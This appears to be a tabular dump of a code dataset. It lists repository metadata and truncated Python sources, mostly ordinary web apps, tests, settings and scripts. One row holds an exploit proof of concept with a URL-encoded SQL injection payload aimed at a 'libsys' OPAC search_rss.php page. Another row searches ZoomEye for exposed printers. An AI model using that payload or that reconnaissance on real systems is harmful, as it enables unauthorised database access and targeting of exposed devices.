blob_id
stringlengths
40
40
content_id
stringlengths
40
40
repo_name
stringlengths
5
114
path
stringlengths
5
318
language
stringclasses
5 values
extension
stringclasses
12 values
length_bytes
int64
200
200k
license_type
stringclasses
2 values
content
stringlengths
143
200k
0e7080cc719663a004e78a77bb387927ca17aa27
6e8a4c6d8e0a0c784b78c341f9cc7eb9ff420007
dxcv/momentum-contrarian-trading-strategy
/backtest.py
Python
py
9,091
no_license
# coding: utf-8 from __future__ import division import numpy as np import pandas as pd import matplotlib # Force matplotlib to not use any Xwindows backend. matplotlib.use('Agg') import matplotlib.pyplot as plt from math import sqrt from flask import flash # 计算年化收益率函数 def annual_return(date_line, cap...
63f6f44c933299f42c97136f14bfdb8c8e063af8
e76509fd782a6c45b296be02499d4addc66df845
balan-jayavictor/dev-cli
/devcli_gitlab/trigger_pipelines.py
Python
py
771
no_license
from typing import List import click from . import GitlabClient from .gitlab_group import gitlab @gitlab.command(short_help='triggers the pipeline for all projects in group') @click.pass_obj @click.option('--group') @click.option('--variables', '-m', multiple=True, type=click.Tuple([str, str]),default=[]) @click.op...
386a84305c8918498c2f826084772ef3ff443c92
bbf7bd76221ef5a805f571c75f1ef8ec9f44eca6
ZedanDredal/mh_cmlx_ztp
/lib/cmlxztp/networking/base_client.py
Python
py
1,194
no_license
""" @copyright: Copyright (C) Mellanox Technologies Ltd. 2014-2017. ALL RIGHTS RESERVED. This software product is a proprietary product of Mellanox Technologies Ltd. (the "Company") and all right, title, and interest in and to the software product, including all associated intellectual property rights,...
083f04edcc810564c727c0f24ba719d16c5e38a1
f8e07b98c63b3b49e0c6a1322fa190c0a5eeaeb7
f5devcentral/f5-cccl
/f5_cccl/resource/ltm/monitor/test/test_http_monitor.py
Python
py
2,681
permissive
#!/usr/bin/env python # Copyright (c) 2017-2021 F5 Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
bec0a872001a1ec6f50d1e8a427d146e8ba95854
d726ffde78608803040aa7ee50571319a3870ae8
gayhub-blackerie/poc
/bugscan/exp-1263.py
Python
py
1,126
no_license
#!/usr/bin/python #-*- encoding:utf-8 -*- #__author__ = '1c3z' def assign(service, arg): if service == "libsys": return True, arg def audit(arg): payload = 'opac/search_rss.php?location=ALL%27%20UNION%20ALL%20SELECT%20CHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7...
c624eeb3b3a1968fc55ba5015f8f71c1f7b0887e
63418703877f99be723bc2d55917826d0519f3f6
sooleawah/osf.io
/api/institutions/views.py
Python
py
6,206
permissive
from rest_framework import generics from rest_framework import permissions as drf_permissions from modularodm import Q from framework.auth.oauth_scopes import CoreScopes from website.models import Institution, Node, User from api.base import permissions as base_permissions from api.base.filters import ODMFilterMixi...
e3d45c9fd3109e015115718a7d01c7499c8e600f
d1117f256f471b7d2294d56af3c8c012ee096a07
lucas-sorrentino/workhour
/workhour/settings.py
Python
py
3,245
no_license
""" Django settings for workhour project. Generated by 'django-admin startproject' using Django 2.0.6. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os ...
e188ad7325c7781b3cee6a4b88ece744df94e376
c78dda0bdcc675c43241db248a7a263c4ec6139f
vgrillot/mpf
/mpf/core/device.py
Python
py
4,015
permissive
"""Contains the Device base class.""" import abc from mpf.core.machine import MachineController from mpf.core.logging import LogMixin class Device(LogMixin, metaclass=abc.ABCMeta): """Generic parent class of for every hardware device in a pinball machine.""" config_section = None # String of the config se...
c77b3044080ad5eb8e0dcf21367cf1ae38ab097c
e25c9f489f169d9c9d6532678ad51bb03d7dcf32
vtantia/ClassyVision-1
/test/hooks_output_csv_hook_test.py
Python
py
1,896
permissive
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import csv import os import shutil import tempfile from test.generic.config_utils import get_fast_test_task_config from...
48dce05640acba4c9d5c06b1a860bb8748ffdb7c
43ad1b0b74f44714064591e99d4279d735ecc48d
ktandon91/DataStructures
/6. Random/generator_test.py
Python
py
297
no_license
def num_print(n): i = 0 try: while i < n: yield i i +=1 except StopIteration: print("end here") f = num_print(4) for i in f: print(i) # print(next(f)) # print(next(f)) # print(next(f)) # print(next(f)) # print(next(f)) # print(next(f))
e3716bc0dc75e4aaf9a2a2692328165270a15042
16c5c6e25e15b5d708208a0c03c0894dd2fddbf7
akashgram/ML
/Reinforcement Learning/RL-2.py
Python
py
4,457
no_license
''' @author: Akash Gopal @date: 11/22/2015 ''' import sys import csv from math import * import random # Grid Dimensions rowSize = 5 colSize = 4 wall = [(3,1), (3,3)] # Wall position in the grid epsilon = 0.5 # Exploit Vs Explore gamma = 0.9 # Discount Factor alpha = 0.1 # Learning Rate rewardZeroFlag = False # For ...
1c490b6a5cf48c448104ecab6008dfd40d4d1a12
07647b81b296e9640d5d714a7280aa7291a5e657
dontbesatisfied/naver_fastet_reply
/run.py
Python
py
2,910
no_license
import os from PyQt5 import uic, QtCore from PyQt5.QtWidgets import * import sys import constant from app import Process from datetime import datetime # UI파일 연결 # 단, UI파일은 Python 코드 파일과 같은 디렉토리에 위치해야한다. # form_class = uic.loadUiType(os.getcwd() + "/app.ui")[0] form_class = uic.loadUiType("./app.ui")[0] # 화면을 띄우는데 사용...
571a76f23bc229446a2573a48d931ef724816bd1
8146d5e4ac46d09542a516c57fb06d615ecef5d6
leewenqing/CoMoCo
/Lab4/Python/lab4_pendulum.py
Python
py
1,806
no_license
""" Pendulum """ import numpy as np import biolog from SystemParameters import PendulumParameters def pendulum_equation(theta, dtheta, parameters=PendulumParameters()): """ Pendulum equation d2theta = -g/L*sin(theta) with: - theta: Angle [rad] - dtheta: Angular velocity [rad/s] - g: ...
518e55cec8b5735d589b5fa566c6c8b048f985a5
7197663c3667d3c84f7af11b9fa65be73bade132
leon1227/openuds
/server/src/uds/reports/stats/pools_performance.py
Python
py
11,526
no_license
# -*- coding: utf-8 -*- # # Copyright (c) 2015 Virtual Cable S.L. # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, #...
57560ce386e2b2d4ed604cb5f9dcd46fc4a9cb03
fbc6d4574449ec1866da0a28db792b1d4df1b421
ThinkingAgain/ordering
/module.py
Python
py
9,150
no_license
import pymysql import time class DBOrdering: """MySql--DB:""" DB = "todo" PW = "asdfwj" #每日菜单 {id:{显示文本,价格}} DAILY_MENU = {"packed_rice": {"label":"米饭盒饭","price":8}, "packed_bun":{"label": "馒头盒饭","price":8}, "rice": {"label":"米饭","price":1}, "bu...
55e1b3e9ef1e5b73c2775fc80905f9b56b51312b
2d9e8cb64447fb6c48b8b81586043c8ec75bd766
qq178269397/color-clustering
/color_clustering.py
Python
py
5,736
permissive
#!/usr/bin/env python from colorsys import hsv_to_rgb from math import sqrt, ceil import matplotlib.colors from matplotlib.patches import Rectangle import matplotlib.pyplot as plt import numpy as np from optparse import OptionParser import os from PIL import Image from scipy.cluster.vq import kmeans, whiten import sys...
274603a0c97523d7c1316e7aefae4dd2ddf8cebd
77a99bba4d3bd439e42ccc2570f51a16ca7ccc88
happycube-timer/happycube-backend
/happycube/extensions.py
Python
py
500
no_license
# -*- coding: utf-8 -*- """Extensions module. Each extension is initialized in the app factory located in app.py """ from flask.ext.sqlalchemy import SQLAlchemy db = SQLAlchemy() from flask.ext.migrate import Migrate migrate = Migrate() from flask.ext.bcrypt import Bcrypt bcrypt = Bcrypt() # from flask.ext.admin imp...
168cea123ca541df91666ebf4e0ed17f92a80393
4feda0b8deab3a7c8facd87a5a069ea78feed567
CS-Center/CS-Center
/wcics/server/routes/auth/edit_profile.py
Python
py
1,433
permissive
# -*- coding: utf-8 -*- from wcics import app from wcics.auth.manage_user import assert_login, user from wcics.auth.update_user import update_user from wcics.database.models import Users from wcics.database.utils import db_commit from wcics.server.consts import ERROR_MESSAGES from wcics.server.forms import EditProf...
0a06a24a25be7b569dc17e968fe01186e355caf1
401823e87f0253d33d26504683a135346fa0d458
sammillendo/google-ads-python
/google/ads/googleads/v4/errors/types/user_data_error.py
Python
py
1,212
permissive
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
227b6bb48e3ffb0ab316e4c615386d847dcdbe5f
7ba2acdb0af4069857931fc07252ad3cd12488fc
parvathynandakumar/django
/mysite1/settings.py
Python
py
3,217
no_license
""" Django settings for mysite1 project. Generated by 'django-admin startproject' using Django 1.11.4. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os...
a15d1d4bfb82c1ca7ec08d3d884b8174dc460464
4b311568c320de81228e2a6465ee391171a841cb
8secz-johndpope/reco-api-benchmarks
/recoapis/api_qa.py
Python
py
10,971
permissive
import os import re import json import time import traceback from git import Repo from xminds.lib.utils import deep_hash from xminds.compat import logger from apiclients import SYNTHETIC_DATASETS, ResultsDbConnector from synthetic import SyntheticDataset from recoapis import APIS, DummyRecoApi, RecommendationExceptio...
b418e95588f0e7af058d432cdfb56e08fa2fd0c7
99299fbd0239bb89a54d726e92a1ec8807cab496
chayanit/WMCore
/src/python/WMCore/BossAir/RunJob.py
Python
py
3,323
permissive
#!/usr/bin/env python """ _RunJob_ The runJob class object. It is very simple. """ from WMCore.WMBS.Job import Job class RunJob(dict): """ _RunJob_ Basically, create an organized dictionary with all the necessary fields. """ def __init__(self, jobid=-1): """ Just make su...
03bf6d6f3ff8557c330f781962a1a357aaf39ad0
7794a863dbd751be4c2deaf470db5fa63827fb98
hernanre/24-Exam3-201910
/src/problem2.py
Python
py
5,468
no_license
""" Exam 3, problem 2. Authors: David Mutchler, Dave Fisher, Matt Boutell, Amanda Stouder, their colleagues and Ricardo Hernandez. October 2018. """ # DONE: 1. PUT YOUR NAME IN THE ABOVE LINE. import time import testing_helper import math def main(): """ Calls the TEST functions in this module. "...
b0679ec98da47d4396dc07d8bfcd70e802714140
31e53bfda2b3c21dd2ede8d69c5381ece32da86b
cmap/psp
/broadinstitute_psp/utils/config_converter.py
Python
py
10,730
permissive
import sys import argparse import re import os import ConfigParser import psp_utils import cmapPy.pandasGEXpress.parse as parse def build_parser(): parser = argparse.ArgumentParser( description=__doc__, formatter_class=argparse.ArgumentDefaultsHelpFormatter) # Required arg parser.add_argument("--...
92324eecaef27838e1eebab3d3917932379080e4
cf78a590e05dcdb7ee75f4bc425dc136953352c9
Sandy4321/Effective-Quadratures
/tests/test_parameter.py
Python
py
2,179
permissive
#!/usr/bin/env python from unittest import TestCase import unittest from effective_quadratures.parameter import Parameter import numpy as np class TestParameter(TestCase): def test_declarations(self): # Parameter test 1: getPDFs() var1 = Parameter(points=12, shape_parameter_A=2, shape_par...
bdd2f1c63c5aa1b2e854a27fd40562aa5cae88c0
f82b57bada77641acc01df61fd676ced69351b90
maryamnaghashan/my-first-blog
/mysite/settings.py
Python
py
3,109
no_license
""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 1.11.12. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os...
e2b2fec14061f17b512d7a5742195af98a2c9e4a
99baccd509fb2742306e96b21ecaeff253c384b7
kisron86/atracbot-dev
/devel/lib/python2.7/dist-packages/rosserial_vex_cortex/__init__.py
Python
py
1,049
no_license
# -*- coding: utf-8 -*- # generated from catkin/cmake/template/__init__.py.in # keep symbol table as clean as possible by deleting all unnecessary symbols from os import path as os_path from pkgutil import extend_path from sys import path as sys_path __extended_path = '/home/kisron/catkin_workspace/src/rosserial/ross...
82f09136e3e0aac2bf89b46af8c400200196a4a7
71355483b1393f91bd75fbfc2ecffab3332d716c
andrey-popov/pheno-htt
/Analysis/buildTemplates.py
Python
py
5,917
no_license
#!/usr/bin/env python """Constructs SM tt templates for RooStats. All parameters, including names of input and output files, total number of events before the event selection, and k-factor, are hard-coded. Variations in the renormalization and factorization scales in the matrix element are rescaled to the nominal cr...
084de32ffcd4aa3c1d4c4c6168f125925dd16714
bd641f9a7c12b70117c3b1c6ccff55bcb27e0b56
JiaxiangBU/xgboost-LightGBM_demo
/zhihu/Xgboost&LightGBM.py
Python
py
1,339
permissive
import pandas as pd import xgboost as xgb import lightgbm as lgb from sklearn.grid_search import GridSearchCV import time data_train=pd.read_csv('dataset.csv') y_train=data_train.pop('follower') X_train=data_train print(X_train.shape,y_train.shape) #构建XGboost模型 model_xgb=xgb.XGBRegressor() param_xgb_list={ "max_d...
0f905f6ea113510334c6300505b30c2e998bd5f8
c163237c4796d642c7b7c826d672055bbfd277df
goodnamehadbeeneatbydog/sunPythonLearning
/src/高级特性listAndTuple.py
Python
py
3,656
no_license
myList =["1","2","3","4"] print(myList[0:3]) print(myList[2:4]) print(myList[-2:]) print(myList[-2:-1]) myList = list(range(100)) print(myList[3:67]) print(myList[:10]) print(myList[10:20]) print(myList[10:20:2]) print(myList[::5]) print(myList[:]) myTuple =(1,2,3,4,5,6,7,8,9) print(myTuple[0:3]) print(myTuple[0:9:3]) ...
095442a9d5a57b24dcffd58865ee0952a18aa32e
dfe0c0208af13baedaed8b499266c13c133d2e67
svetlyak40wt/django_replicated
/django_replicated/decorators.py
Python
py
1,109
no_license
# -*- coding:utf-8 -*- ''' Decorators for using specific routing state for particular requests. Used in cases when automatic switching based on request method doesn't work. Usage: from django_replicated.decorators import use_master, use_slave @use_master def my_view(request, ...): # master databa...
7bc6e87d2a178d602098cda3c9c3121012def958
2f030808494f6e9402dc134a81e3fec164646e85
dta613/blockchain-test
/my_project/bin/rst2xetex.py
Python
py
924
permissive
#!/Users/dannytsoi/Documents/dev_Stuff/blockchain/my_project/bin/python # $Id: rst2xetex.py 7847 2015-03-17 17:30:47Z milde $ # Author: Guenter Milde # Copyright: This module has been placed in the public domain. """ A minimal front end to the Docutils Publisher, producing Lua/XeLaTeX code. """ try: import local...
177b49135e6f77d92917a0a3381e7f6aabee13b8
ba0baea5e3ff293be585edfc9d2936a0065a615b
optimopium/language
/language/mentionmemory/training/trainer.py
Python
py
14,642
permissive
# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
6bc103c908302fbfacf8098f435739224f7b949a
0d6fbea3f3d4cfc289104260636999de8350eedc
Jack-An/web-crawler
/download_picture/down_pics_jiandan.py
Python
py
1,543
no_license
import urllib.request import os """ 到煎蛋网爬取图片数据 """ def url_open(url): req = urllib.request.Request(url) req.add_header('User_Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) ' 'Chrome/59.0.3071.115 Safari/537.36') response = ur...
57ca4a7eb58af01bc1d52334e434fef2fb388a5a
b75e8102432a44104e9b0e73dad4656e480a78e5
samleitermann/AdventofCode
/AdventofCode2020/Day11/Day11Solution.py
Python
py
8,225
no_license
def get_data(file): with open(file, encoding='utf-8') as f: data = f.read() inputs = data.split('\n') return inputs seats = get_data("Day11Input.txt") # Create a Seat class that can hold the information about a seat. class Seat(): def __init__(self): self.occupied = False ...
3878b3d7664cf6fa6a0cbcf46c2f070a78351dd4
4ce608090556e66f2cd1d4fd2dc6ea89407f88a3
Laucr/Crawler
/Eyelash/scan.py
Python
py
606
no_license
# -*- coding:utf-8 -*- # author : stalker_ # 04-25-17 import json import collect eye = collect.ZoomEyeAPI() res = eye.search('Toshiba device:"printer"') # res = eye.search('fuji xerox device:"printer"') # res = eye.search('Sharp device:"printer"') # res = eye.search('RICOH device:"printer"') # res = eye.search('Cano...
943f61aeef90db1e28f553e5540d48a3e8622842
db689454cc994f8c97b937c18adbe6b93b6168f7
cristianemoyano/barrio-cloud
/blog/migrations/0007_auto_20191231_2304.py
Python
py
407
no_license
# Generated by Django 2.2.9 on 2019-12-31 23:04 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0006_blog_is_published'), ] operations = [ migrations.AlterField( model_name='blog', name='image_url', ...
682c0938c9be95e055f035d8705096603b58e247
a9d088cc5a6b84ac6f1c68bf999dc30ba6624e28
dchen3121/algo
/Interview Cake/permutation_palindrome.py
Python
py
1,544
no_license
# Write an efficient function that checks whether any permutation of an input string is a palindrome. # Examples: # "civic" -> True # "ivicc" -> True # "iiivc" -> False def has_palindrome_permutation(s: str) -> bool: char_set = set() for char in s: if char in char_set: char_set.remove(ch...
61d43d452d199378072cfb0b723ce5b40dff223a
59133075f8679b49a1b5cf7cfe87c7c52fc1015d
zuoyu/cmput404web
/cgi-script.py
Python
py
374
no_license
#!/usr/bin/env python import os,json, cgi print "Content-type: text/html" print "Location: http://google.com/" print print "<HTML><BODY><H1>HELLO,WORLD!</H1>" print "<FORM method ='POST'><INPUT name ='x'></FORM>" form = cgi.FieldStorage() print "<P>X was" + cgi.escape(str(form.getvalue('x'))) print "<P>" + json.du...
6bee3f82dc659a5a64c30c5ce99bcaca47c9d6d4
76c29b9a87f9d142e6166b57b7a661dedff4ab58
ManogaranArumugam/123
/Timesheet/tms/migrations/0002_auto_20180918_1856.py
Python
py
720
no_license
# Generated by Django 2.0.5 on 2018-09-18 13:26 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('tms', '0001_initial'), ] operations = [ migrations.AlterField( model_name='projectdetails', name='project_type', ...
a07296cadf2b39cdd4ea7cffe7af78473a99849c
11e578d5a8ca94f3ea884ab3044f42f9a8268ffb
esteechenyiwei/TeamN95
/readJSON.py
Python
py
902
no_license
#read JSON string into object to store into database import json from user import * def JSONToObject(jsonString): dict = json.loads(jsonString) currUser = User() currUser.setAll(dict['type'], dict['name'], dict['supplyType'], dict['supplyNumber'], dict['addr'], dict['tel'], dict['email'],dict['info']) ...
3b145e7f8ec46814935938afc6384d46b25245a6
012441fc6fe997cc343b9cbe43f8ac3ef5029bca
Yahya-Elrahim/Python
/Matplotlib/Plotting Live Data/live.py
Python
py
414
no_license
from matplotlib import pyplot as plt import random from itertools import count from matplotlib.animation import FuncAnimation x_values = [] y_values = [] index = count() def animate(i): x_values.append(next(index)) y_values.append(random.randint(0, 5)) plt.cla() plt.plot(x_values, y_values) ani...
f8106b3e7fe4c57da308edb79c183ecef964b79e
cc8688120771afffb08ee4ba1f7926424fa88321
HAirineo/CodeSnip
/codesnip/src/manage.py
Python
py
806
no_license
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "codesnip.settings") try: from django.core.management import execute_from_command_line except ImportError: # The above import may fail for some other reason. Ensure that the...
4d6e875a30ee82518932184b45e314041f305c97
a30eca8f6613e64d6ced7323492bbd9b61584461
cryptopulgo/XCmodels
/ave_SR/OD_PF_103_17/annex/report_shearULS.py
Python
py
1,952
no_license
# -*- coding: utf-8 -*- from postprocess.control_vars import * from postprocess import limit_state_data as lsd from postprocess.reports import graphical_reports model_path="../" #Project directory structure execfile(model_path+'env_config.py') modelDataInputFile=model_path+"model_data.py" #data for FE model generatio...
274049a7e774b26f4f57892eaba8188a253de53a
2eed350a5ed4f484e171fa6c922f525119fd6a10
ThangNguyen23/Innovation_Geeks
/back-end/innovation_geeks/manage.py
Python
py
672
no_license
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'innovation_geeks.settings') try: from django.core.management import execute_from_command_line ex...
e670f0c0ae0bda508c9e78d7ec4657ba4aeea966
f4f82fc7551b81b41f3c9f7f0180b154126d45d6
NetScotte/python
/爬虫测试/GetTitle.py
Python
py
1,869
no_license
import re import urllib.request as request class GetTitle: def __init__(self): self.address = [] self.html=[] user_agent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0" self.header = {'User-Agent': user_agent} self.title_pattern = re.compile(r'<...
511ecddba3544c060304074415337077b975068f
ed81db58366bc4bbfbc07a39cf4fa7e94bc6a16d
LearningAzure2020/tracker
/clients/python/tracker_client/domain.py
Python
py
21,050
permissive
"""This module defines the Domain class, which models domains monitored by Tracker and offers methods to get data about domains.""" import json import formatting import organization as org import queries class Domain: """Class that represents a domain in Tracker. Instance variables provide access to scalar ...
d0f4c272882b3a3bfc21c9babea9a315d657d82c
3466c62049782d037cd70511aed1d17df58a08a9
ahussein/algo
/problems/digits_to_char_map.py
Python
py
2,035
no_license
""" If we have a map between digits 0-9 and characters so that each digit can represent a set of characters given a number or array of integers 123 or [1, 2, 3], show all the possible string combination of this input sequence Example: given the map {0: 'ab', 1: 'cde', 2: 'fg'} input: 201 output should be: [fac, fad, fa...
b8d3bb7fd867af4158095194b76ed97f4414ec7d
811c0ba33488d27c43ac3f682956f3850ad5ccb1
awesome-python/fshell
/fs_server/src/dao/fss_data_danfunc_dao.py
Python
py
1,116
no_license
# -*- coding: utf-8 -*- # project: fshell # author: s0nnet # time: 2017-01-06 # desc: data_danfunc ''' # 危险函数-元数据表 CREATE TABLE `tb_data_danfunc` ( `id` varchar(20) NOT NULL, `agent_id` int(11) NOT NULL, `filename` varchar(200) NOT NULL, `weight_sum` int(5) NOT NULL, `functions` text NOT NULL, ...
a49bf80764c7b5f105874478818611c05fe1114b
7073f084d5316da4a222704d2a9fba078a89e79d
arbinwu/CourseWebsite
/question/migrations/0005_auto_20160520_0326.py
Python
py
571
no_license
# -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2016-05-19 19:26 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('question', '0004_answer_question_id_no'), ] operations = [ migrations.Remove...
e50103872ba2764daf03cc6d49b353d1e21dc474
921e7b0319fb8ea83e6a09117e343844deba36fe
dima-yurchuk/web_programming_python
/lab2/cgi-bin/form.py
Python
py
1,840
no_license
#!/usr/bin/env python3 import cgi import sys import codecs import os import http.cookies cookie = http.cookies.SimpleCookie(os.environ.get("HTTP_COOKIE")) cookie_value = cookie.get("count_f") if cookie_value is None: # якщо кукі не встановлено, тобто ми перший раз відкрили сторінку print(f"Set-cookie: count_f={1}"...
534c9119b14cde2c03fb0176ebffc279ae3121ce
fb1bc68f72fb338c43a64da67f9f3b5b69c10dde
NaazS03/CS-760-Prediction-Model
/preprocessors/TwitterHydrator.py
Python
py
3,046
no_license
from twarc import Twarc #Twitter API access import pandas as pd #Dataset handling import us #US State processing import calendar #Month Abbreviations import fnmatch #Filename matching import os #Filename matching import datetime #Timestamps import json #Json processing #Dictionary mapping months to month strings month...
cb6ddc98c9933e72801fcf33f90faaba8e4f3097
4b9cc32b8f0e80cd66aeb9a5e4f61400c29ba1fd
hehonglu123/Gazebo_RR_Win10
/simple_clients/client_robot.py
Python
py
1,457
no_license
import RobotRaconteur as RR RRN=RR.RobotRaconteurNode.s import numpy as np import time import traceback import sys Rd=np.array([[ -1, 0., 0 ], [ 0., 1, 0.], [0, 0., -1]]) with RR.ClientNodeSetup(argv=sys.argv): ####################Start Service and robot setup robot = RRN.ConnectService('rr+tcp://localhos...
275d9c9211bfa29b7bebc0969406f0400db16592
d22b5e3b665247794a4b9ae1a74f58ca5000162b
analylx/learn
/temp1/3__test_coverage.py
Python
py
273
no_license
import coverage from random import randint cov = coverage.Coverage() cov.start() def isPrime(n): for i in range(2,int(n**0.5)+2): if n%i ==0: return "No" else: return "Yes" n = randint(3,20000) print (n,':',isPrime(n)) cov.stop() cov.save() cov.html_report()
90547598b8e8e300b14134e6ef02f73b462b70ee
ce8c887561b0b83f5254ed01d1d948de7272198f
valuko/ChiefOnboarding
/back/integrations/urls.py
Python
py
690
permissive
from django.urls import path, include from rest_framework import routers from . import views router = routers.DefaultRouter(trailing_slash=False) router.register('access', views.AccessViewSet, 'access') urlpatterns = [ path('', include(router.urls)), path('slack_token', views.SlackTokenCreateView.as_view())...
e8fda16b17ee4805355ef3c8600dee5ff734cac9
f0758663a77ec6b646a4db4e447c91e27197eb3c
alextusinean/TikTokCommentScraper
/python38/Lib/site-packages/openpyxl/writer/dump_worksheet.py
Python
py
7,735
permissive
from __future__ import absolute_import # Copyright (c) 2010-2015 openpyxl """Write worksheets to xml representations in an optimized way""" from fileinput import FileInput from inspect import isgenerator import os from tempfile import NamedTemporaryFile import atexit from openpyxl.compat import OrderedDict from ope...
9dc33b3a11568474684a73b40a411e704adb831c
fabffec4a241de449263f6eff40e230b5da25417
renovate-tests/poetry
/poetry/console/commands/install.py
Python
py
2,732
permissive
from cleo import option from .env_command import EnvCommand class InstallCommand(EnvCommand): name = "install" description = "Installs the project dependencies." options = [ option("no-dev", None, "Do not install the development dependencies."), option( "no-root", None, "Do ...
d82f17535bf672e4d8616995503a56f7eeab80c1
79d614341b1ee4fd69fec415a57cb03f29354f00
Kryndex/chromite
/lib/partial_mock.py
Python
py
16,918
permissive
#!/usr/bin/python # Copyright (c) 2012 The Chromium OS Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Contains functionality used to implement a partial mock.""" import collections import logging import mock import os import re ...
a3ebf220b0e981985d1d39ac49508d801d0b0af0
433491123de6cb13b8f3978dd67466303a7f1c26
corinnemedeiros/plaintext
/CodingChallenge_multidigits_alt_2functions.py
Python
py
2,647
no_license
encoded_string = "12oocvz09jqquiH11yywxsanmvbpI13yer6twweop14s 21gebwvsrxeqdwygrtuhijwT11hhllknbvxzdH00E01iR10kkjsagetrdE" # multi-digit test strings: "12oocvz09jqquiH11yywxsanmvbpI13yer6twweop14s 21gebwvsrxeqdwygrtuhijwT11hhllknbvxzdH00E01iR10kkjsagetrdE" # "19uhge13btrrdewert9kly00a10nhee!+h89by//pp" # single-dig...
a352cd8548752064dd93cc6b57b005cc85af7e05
5aed025bb81125ea66fc4b0639fd784f344b756f
zhouyangok/pythonLearning
/demo1.py
Python
py
307
no_license
print("hello ,Python!") #这是一个python注释 ''' 这个地方是注释哦亲 ''' """ this is zhushi """ #运算符 a = 10; b = 20; print(a+b); print(a-b); print(a*b); print(a/b); print(a%b); print(a**b); print(a//b);#取整除 ''' 逻辑运算符 and, or, not ''' ''' 成员运算符 in, not in '''
f1d7c7f0af047ef38d8e767bad45a7e99de122e1
44a288223aee813d1959a99708836bc54249f34b
silnrsi/libreoffice-linguistic-tools
/LinguisticTools/tests/pythonpath/lingttest/ui/dlg_bulkstep2_test.py
Python
py
253
no_license
# -*- coding: Latin-1 -*- # # This file created 11-Feb-2016 by Jim Kornelsen """ Tests the bulk conversion step 2 dialog. Does not test the "Process Files" button, because that goes beyond the UI. Also does not call converters for samples. """ # TODO
fe415ab4f17a4c61386e1bf1da3ba025a2ac1275
32dc276b7031d7673bae8617fb254195b626f58c
amit63731/channels
/Lib/site-packages/daphne/http_protocol.py
Python
py
19,523
permissive
from __future__ import unicode_literals import logging import random import six import string import time import traceback from zope.interface import implementer from six.moves.urllib_parse import unquote, unquote_plus from twisted.internet.interfaces import IProtocolNegotiationFactory from twisted.protocols.policie...
de7599e8910d3af66d2231311c2b7d8f8dc7c132
7ddd356ac2dc21345d9a36a28b381884fbaa78d9
MANNATKAUR22582/DataAnalystProject
/data_cleaning.py
Python
py
8,097
no_license
# -*- coding: utf-8 -*- """ data_cleaning.py Mia Ma 3/26/2021 clean the data for the Data Analyst Project """ #load pakages import pandas as pd #read the data df = pd.read_csv('DataAnalyst.csv') #drop n/a NaN rows, 1 row is removed from 2252 rows df = df.dropna() #--------------------------------------------salary #...
fedbee4e4a8d7da848f2b3b2edd3c7f85b9bb6b2
fc05c0c68a34faf78acc997ea0eca37ace62f510
xuehaoca/LeetCode
/longesthuiwen.py
Python
py
560
no_license
class Solution(object): def longestPalindrome(self, s): """ :type s: str :rtype: str """ n=len(s) maxLen=0 pal = [[ 0 for i in range(n)] for i in range(n)] for i in range(0,n): j=i while (j>=0): if (s[j]==s[i] an...
eaccae1688aafe3de7f5fd52b6ea97a23afc44e8
6bfaee709c16d725423ca5ed075367400aa2d70a
supreethmkiran/blogss
/users/models.py
Python
py
642
no_license
from django.db import models from django.contrib.auth.models import User from PIL import Image # Create your models here. class Profile(models.Model): user = models.OneToOneField(User,on_delete= models.CASCADE) image = models.ImageField(default='default.jpg',upload_to='profile_pics') def __str__(self): ...
7e11d5b5a031e1cd777f61203d3b15666529d4e2
2fe93a3f27cf3d411190ae97d1c6a26f96647760
stan-dev/math
/lib/boost_1.78.0/tools/build/src/tools/message.py
Python
py
1,625
permissive
# Status: ported. # Base revision: 64488. # # Copyright 2008, 2010 Vladimir Prus # Distributed under the Boost Software License, Version 1.0. # (See accompanying file LICENSE.txt or https://www.bfgroup.xyz/b2/LICENSE.txt) # Defines main target type 'message', that prints a message when built for the # first time. imp...
ee33210fb08f75c462e811e10b9084ff81156793
a691def89ff3228132ec3ab1c92714637b5c7665
m-star18/atcoder
/submissions/abc136/d.py
Python
py
642
permissive
import sys read = sys.stdin.buffer.read readline = sys.stdin.buffer.readline readlines = sys.stdin.buffer.readlines sys.setrecursionlimit(10 ** 7) s = read().rstrip().decode() cnt = 0 ans = [0] * len(s) for i, ss in enumerate(s): if ss == 'L': ans[i] += cnt // 2 ans[i - 1] += cnt // 2 if cn...
c0b4d41e09271bf593fea62700600da9987abdd4
e77facb98a66021b52c587119ed6b02352c9585f
